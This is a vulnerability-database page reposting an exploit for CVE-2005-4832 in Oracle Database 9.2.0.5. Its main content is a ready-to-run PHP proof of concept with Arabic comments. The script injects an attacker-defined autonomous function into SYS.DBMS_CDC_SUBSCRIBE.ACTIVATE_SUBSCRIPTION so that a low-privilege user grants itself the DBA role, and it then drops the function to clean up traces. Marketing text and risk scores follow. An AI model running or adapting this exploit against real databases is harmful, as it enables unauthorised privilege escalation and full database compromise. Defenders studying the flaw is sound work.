Lucene search
K

📄 Oracle Database Server 9.2.0.5 SQL Injection

🗓️ 13 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 115 Views

Oracle 9.2.0.5 has SQL injection in DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION (CVE-2005-4832).

Related
Code
=============================================================================================================================================
    | # Title     : Oracle Database Server 9.2.0.5 SQL Injection Vulnerability                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.oracle.com/                                                                                                     |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: SQL injection vulnerability in Oracle database SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION package.
    
       (Related : https://packetstorm.news/files/id/180720/ Linked CVE numbers: CVE-2005-4832 ) .
    	
    [+] save code as poc.php.
    
    [+] Set target : line 3 + 4 + 5 + 6 + 7
    
    [+] PayLoad :
    
    <?php
    // إعداد الاتصال بقاعدة بيانات Oracle
    $host = "localhost"; // استبدلها بعنوان السيرفر
    $port = "1521"; // منفذ Oracle
    $sid = "ORCL"; // معرف قاعدة البيانات
    $user = "victim_user"; // المستخدم المستهدف
    $password = "victim_password"; // كلمة المرور
    
    try {
        $dsn = "oci:dbname=$host:$port/$sid;charset=UTF8";
        $conn = new PDO($dsn, $user, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
        echo "[+] الاتصال بقاعدة البيانات ناجح!\n";
    
        // اسم دالة عشوائية
        $func_name = "h4ck" . rand(1000, 9999);
    
        // إنشاء دالة تقوم بتنفيذ أوامر SQL بامتيازات عالية
        $function = "
            CREATE OR REPLACE FUNCTION $func_name RETURN VARCHAR2
            AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION;
            BEGIN
            EXECUTE IMMEDIATE 'GRANT DBA TO $user';
            RETURN '';
            END;
        ";
    
        // استعلام الحقن
        $injection = "
            BEGIN
                sys.dbms_cdc_subscribe.activate_subscription('''||$func_name()||''');
            END;
        ";
    
        // حذف الدالة بعد التنفيذ
        $clean = "DROP FUNCTION $func_name";
    
        echo "[+] إرسال الدالة الضارة...\n";
        $conn->exec($function);
    
        try {
            echo "[+] محاولة تنفيذ حقن SQL...\n";
            $conn->exec($injection);
        } catch (Exception $e) {
            echo "[-] فشل تنفيذ الحقن: " . $e->getMessage() . "\n";
        } finally {
            echo "[+] تنظيف الآثار...\n";
            $conn->exec($clean);
        }
    
        echo "[+] انتهى التنفيذ.\n";
    } catch (PDOException $e) {
        die("[-] خطأ في الاتصال: " . $e->getMessage() . "\n");
    }
    ?>
    
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.66238
115